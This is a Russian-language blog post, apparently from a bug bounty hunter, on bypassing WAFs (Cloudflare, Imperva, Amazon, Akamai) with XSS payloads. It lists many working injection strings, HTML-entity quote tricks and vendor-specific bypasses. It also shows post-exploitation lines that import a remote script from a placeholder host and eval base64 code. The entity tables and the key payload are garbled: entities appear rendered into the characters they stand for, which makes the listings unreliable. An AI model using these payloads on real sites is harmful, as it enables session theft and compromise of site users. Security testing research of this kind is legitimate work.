Когда я начал заниматься багбаунти, одной из основных проблем для меня стала блокировка моих XSS-инъекций средствами защиты WAF. Моя цель заключалась в том, чтобы найти «универсальный» полезный XSS-пейлоад, который мог бы работать в большинстве случаев.
Обход WAF для XSS-инъекций
Первое, с чем я столкнулся, это программы, использующие Cloudflare. Хотя у Cloudflare хорошая репутация, его можно обойти различными пейлоадами, доступными на GitHub или Twitter. Вот несколько примеров, которые я использовал в своих тестах:
Часто используемый метод — это добавление префикса on к любому JavaScript-событию:
1 2 3 |
<img/ignored=()%0Asrc=x%0Aonerror=prompt(1)> <svg onload=prompt%26%230000000040document.domain)> <Img Src=On OnError=alert(1)> |
Моя задача состояла в том, чтобы найти обход для JavaScript-событий, чтобы использовать его в XSS-инъекциях с двойными кавычками в тех случаях, когда нельзя «перекрывать» тег и использовать классические инъекции тегов.
1 2 |
" onerror[JS] <img src="x" /> |
Во время поиска «волшебного» пейлоада я обнаружил несколько возможных точек инъекций. Однако большинство символов блокировались WAF, так как они находились в черном списке. Я начал исследовать левую часть от событий, и оказалось, что если добавить символ перед названием JavaScript-события, пейлоад принимался.
Описание | Статус |
---|---|
WAF блокирует | 403 |
Пейлоад проходит | 200 |
Пейлоад синтаксически корректен | Valid |
Пейлоад синтаксически некорректен | Invalid |
1 2 3 |
onerror=[JS] // Возвращает 403, Valid /onerror=[JS] // Возвращает 403, Valid aonerror=[JS] // Возвращает 200, Invalid |
Затем я начал экспериментировать с кавычками, которые можно было бы объединить с именем события:
1 2 3 |
<x ""onerror=[JS]> // Возвращает 200, Invalid <x x="""onerror=[JS]> // Возвращает 200, Invalid <x x=""onerror=[JS]> // Возвращает 403, Valid |
Когда используется нечетное количество кавычек, это работает, но синтаксически некорректно, так как кавычки объединяются с именем события. Тогда я решил попробовать использовать HTML-сущности, которые являются псевдонимами для некоторых специальных символов. Заменив средние кавычки на сущность, пейлоад стал валидным и обошел WAF!
1 |
<x x="""onerror=[JS]> |
HTML-сущности очень полезны, когда символ & не фильтруется. Насколько мне известно, есть три типа сущностей:
Named Entities (именованные сущности), которые можно использовать для обхода:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
' -> ' " -> " ` -> ` ` -> ` ( -> ( ) -> ) { -> { } -> } & -> & < -> < > -> > \n -> 
 \t -> 	 nbsp -> \ -> \ |
Hex Entities (шестнадцатеричные сущности):
1 2 3 4 5 6 7 8 9 10 11 12 13 |
' -> ' " -> " ` -> ` ( -> ( { -> { } -> } & -> & < -> < > -> > \n -> 
 \t -> 	 nbsp ->   \ -> \ |
Numeric Entities (числовые сущности):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
' -> ' " -> " ` -> ` ( -> ( ) -> ) { -> { } -> } & -> & < -> < > -> > \n -> \t -> 	 nbsp ->   \ -> \ |
Чем удобны числовые и шестнадцатеричные сущности, так это тем, что можно добавлять любое количество нулей — они часто плохо фильтруются.
1 2 |
" -> " -> " // Числовая сущность " -> " -> " // Шестнадцатеричная сущность |
Лично я часто использую эти методы для загрузки своего скрипта после того, как XSS был обнаружен, загружая удаленный скрипт с помощью import или выполняя большой base64 eval:
1 2 |
import('https://example.com') eval(atob('BASE64===')) |
Теперь о WAF-обходе. На некоторых WAF-ах этот пейлоад работает. Я протестировал его на известных системах, с которыми я сталкивался:
Imperva и Incapsula
Отлично работает на Imperva и Incapsula:
1 |
<details/open/id="""ontoggle=[JS]> |
Amazon
Также хорошо работает для WAF-ов Amazon, включая CloudFront:
1 |
<details/open/id="""ontoggle=[JS]> |
Akamai
Для Akamai мне пришлось добавить дополнительные кавычки, чтобы пейлоад сработал:
1 |
<details open id="' "'"ontoggle=[JS]> |
Заключение
Нахождение уязвимостей XSS и обход WAF требует изобретательности и экспериментов. В статье рассмотрены методы, которые могут помочь обойти защиту и выполнить инъекции, используя HTML-сущности и другие хитрости. Эти техники дают возможность найти уязвимости в защищенных системах и успешно применять XSS-инъекции в различных сценариях.